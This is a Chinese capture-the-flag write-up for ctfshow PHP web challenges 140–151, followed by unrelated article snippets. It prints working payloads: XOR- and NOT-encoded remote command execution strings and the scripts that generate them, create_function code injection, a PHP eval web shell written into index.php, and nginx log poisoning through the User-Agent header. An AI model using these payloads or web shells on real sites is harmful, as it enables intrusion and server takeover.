ctfshow web入门 php特性 web140--web150plus

web140

在这里插入图片描述在这里插入图片描述这里用松散比较的漏洞绕过

0和字符串比较的时候就是true
$code = eval("return $f1($f2());"); 等于0就可以

传参

POST:
f1=intval&f2=intval

查看源码
在这里插入图片描述

web141

在这里插入图片描述if(preg_match('/^\W+$/', $v3)) 是一段 PHP 代码,它使用了正则表达式函数 preg_match 来检查变量 $v3 的值是否完全由非单词字符组成。
PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的。

v3的构造使用无字母数字RCE的取反构造来实现。

<?php
//在命令行中运行/*author yu22x*/fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

在这里插入图片描述v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1

在这里插入图片描述在这里插入图片描述
cat好像被过滤了,使用不了

GET?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

在这里插入图片描述

web142

在这里插入图片描述sleep($d); 是 PHP 中的一个函数调用,该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量,表示需要让脚本等待的秒数。
传参

GET:
v1=0

查看源码获得flag

web143

在这里插入图片描述把取反过滤了,同时也过滤了减号、加号、取余号。

绕过方法:取反用异或代替,减号用乘或除代替。
异或脚本

<?php/*author yu22x*/$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {for ($j=0; $j <256 ; $j++) {if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)

将这两个脚本用同一个软件打开(我用的VScode)
然后跑回python的脚本运行
在这里插入图片描述
最后得到命令

GET:
?v1=1&&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

太难了

在这里插入图片描述

web144

在这里插入图片描述
修改一下脚本在这里插入图片描述 return $v1$v3$v2
传参

GET:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=-

在这里插入图片描述

web145

在这里插入图片描述
加减异或什么的过滤了但是还有取反,所以可以用之前的payload
只不过减号用其他的替代就行

GET?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

在这里插入图片描述

web146

在这里插入图片描述还是有取反继续上面的payload

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

在这里插入图片描述

web147

在这里插入图片描述/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]

/D如果使用 限制结尾字符 , 则不允许结尾有换行正则匹配 ‘ p r e g m a t c h ( ′ / [ a − z 0 − 9 ] ∗ 限制结尾字符,则不允许结尾有换行 正则匹配`preg_match('/^[a-z0-9_]* 限制结尾字符,则不允许结尾有换行正则匹配pregmatch(/[az09]/isD’,$ctfshow)`表示匹配只有字母数字下划线的字符串

create_function()代码注入:

create_function('$a','echo $a."123"')类似于function f($a) {echo $a."123";
}
create_function('$a','echo $a."123"')类似于function f($a) {echo 1;}phpinfo();//."123";
}结果就是function f($a) {echo 1;
}
phpinfo();
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\并不影响函数的执行。

构造payload

GET?show=1;}system("tac f*");//
POST:ctf=\create_function 
//   是将没用的命令注释
1;}是将ctfshow那个函数关闭然后执行我所写的命令

在这里插入图片描述

web148

在这里插入图片描述还有异或
之前的脚本不知道怎么改,现在弄了一个新脚本

<?php
$a = "tac f*";
for ($i = 0; $i < strlen($a); $i++) {echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {echo "%ff";
}
GET :
?code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);

在这里插入图片描述

web149

在这里插入图片描述
file_put_contents($_GET['ctf'], $_POST['show']);:从HTTP请求(GET参数ctf)获取文件名,并将POST请求体中的show参数内容写入到该文件中。

unlink($file) 删除这个文件。
就是除了index.php都要被删除

那么我们就写个一句话木马到index.php 中然后连接

GET:
?ctf=index.php
POST:
show=<?php eval($_POST[a]);?>

回到根目录发现有个文件很像是flag,打开就有了
在这里插入图片描述

web150

在这里插入图片描述在这里插入图片描述日志文件包含但是我们并不能直接访问日志文件
如果 $isVIP 为真(即用户被认为是VIP)并且 $ctf 不包含冒号(“:”),则包含(执行)$ctf 参数所指定的文件。

那么我们就用ctf访问日志文件
但是isVIP怎么传呢

$key = $_SERVER['QUERY_STRING']; 
会将GET传入的参数变为一对一对的
例如?a=1
就会收到是a=1
GET:
?isVIP=1
并且user-agent传马
<?php eval($_POST[a]);?>
POST:
ctf=/var/log/nginx/access.log&a=system('tac f*');

在这里插入图片描述

web 151

在这里插入图片描述
log过滤无法用文件包含

extract($_GET);GET中取出所有键值对(传__CTFSHOW__的话就会使得ta变为一个类)
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
看看有没有__CTFSHOW__这个变量
function __autoload($class){if(isset($class)){$class();}
}
程序会自动调用__autoload 这个方法,而这个方法$class() 会尝试执行这个类名(__CTFSHOW__)。那么我们直接让__CTFSHOW__等于phpinfo,在调用__autoload时后面会执行$class();,即执行phpinfo()

变量名中的点(.)会被转换成下划线(_)

GET?..CTFSHOW..=phpinfo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/599179.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

node相关

文章目录 nodeJS是什么&#xff1f;优缺点使用场景全局对象适合用于构建 I/O 密集型不适用于计算密集型任务 nodeJS是什么&#xff1f; Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境&#xff0c;它是跨平台和开源的。 Node.js 使用高效、轻量级的事件驱动、非阻…

性能分析-CPU知识

目录 CPU知识 cpu组成 查看cpu信息&#xff1a; top命令中 cpu相关&#xff1a; top命令看到系统负载&#xff1a; CPU负载 IO负载 上下文&#xff1a; CPU的寄存器和程序计数器----在cpu的控制器中 实战演示分析 top命令分析 arthas工具 进程上下文切换高的问题分析…

【深度学习】StableDiffusion的组件解析,运行一些基础组件效果

文章目录 前言vaeclipUNetunet训练帮助、问询 前言 看了篇文&#xff1a; https://zhuanlan.zhihu.com/p/617134893 运行一些组件试试效果。 vae 代码&#xff1a; import torch from diffusers import AutoencoderKL import numpy as np from PIL import Image# 加载模型…

[AIGC] Spring 获取前端请求参数的全面指南

在Spring框架中&#xff0c;我们有多种方式可以获取前端发来的请求参数。以下是一些常用的方法&#xff1a; 文章目录 1. 通过RequestParam注解2. 通过HttpServletRequest对象3. 通过PathVariable注解4. 通过ModelAndView对象5. 通过WebRequest对象 1. 通过RequestParam注解 使…

neo4j图数据库下载安装配置

neo4j下载地址Index of /doc/neo4j/3.5.8/ 1.说明&#xff1a;jdk 1.8 版本对应的 neo4j 数据库版本 推荐安装3.X版本 2.配置系统环境变量 3.启动 neo4j.bat console 4.访问

算法设计与分析(实验5)-----图论—桥问题

一&#xff0e;实验目的 掌握图的连通性。掌握并查集的基本原理和应用。 二&#xff0e;实验步骤与结果 1.定义 &#xff08;1&#xff09;图的相关定义 图&#xff1a;由顶点的有穷非空集合和顶点之间的边的集合组成。 连通图&#xff1a;在无向图G中&#xff0c;若对于…

为什么苹果 Mac 电脑需要使用清理软件?

尽管 Apple Mac 电脑因其卓越的性能、简洁高效的 macOS 操作系统及独特的美学设计备受全球用户青睐&#xff0c;但任何电子设备在长期使用后都难以避免面临系统资源日渐累积的问题。其中一个重要维护需求在于&#xff0c;随着使用时间的增长&#xff0c;Mac电脑可能会由于系统垃…

xss基础

第一关&#xff1a; html部分标签可以解析js <script>alert (1)</script> 第二关&#xff1a; 可以看到value用双引号闭合了&#xff0c;使用上一关的payload没用&#xff0c;尝试一下闭合这个input 所以使用双引号和>闭合后再加入上一关的payload 11"…

深入浅出 -- 系统架构之负载均衡Nginx缓存机制

一、Nginx缓存机制 对于性能优化而言&#xff0c;缓存是一种能够大幅度提升性能的方案&#xff0c;因此几乎可以在各处都能看见缓存&#xff0c;如客户端缓存、代理缓存、服务器缓存等等&#xff0c;Nginx的缓存则属于代理缓存的一种。对于整个系统而言&#xff0c;加入缓存带来…

机器学习(30)

文章目录 摘要一、文献阅读1. 题目2. abstract3. 网络架构3.1 Sequence Generative Adversarial Nets3.2 SeqGAN via Policy Gradient3.3 The Generative Model for Sequences3.4 The Discriminative Model for Sequences(CNN) 4. 文献解读4.1 Introduction4.2 创新点4.3 实验过…

GaN肖特基势垒二极管(SBD)的多阴极应用建模与参数提取

GaN Schottky Barrier Diode (SBD) Modeling and Parameter Extraction for Multicathode Application&#xff08;TED 24年&#xff09; 摘要 本文提出了一种适用于多阴极应用的紧凑型可扩展GaN肖特基二极管大信号模型。详细给出了外在和内在模型参数的可扩展规则。实验和理…

Tesseract 安装与配置及验证码识别

Tesseract 安装与配置 Tesseract 的使用&#xff0c;需要环境的支持&#xff0c;以实现简单的转换和训练。 1.环境 python版本&#xff1a;3.8.3 &#xff08;python2.7或3以上&#xff09; 操作系统&#xff1a;windows系统 2.Python安装 详见&#xff1a;Miniconda的…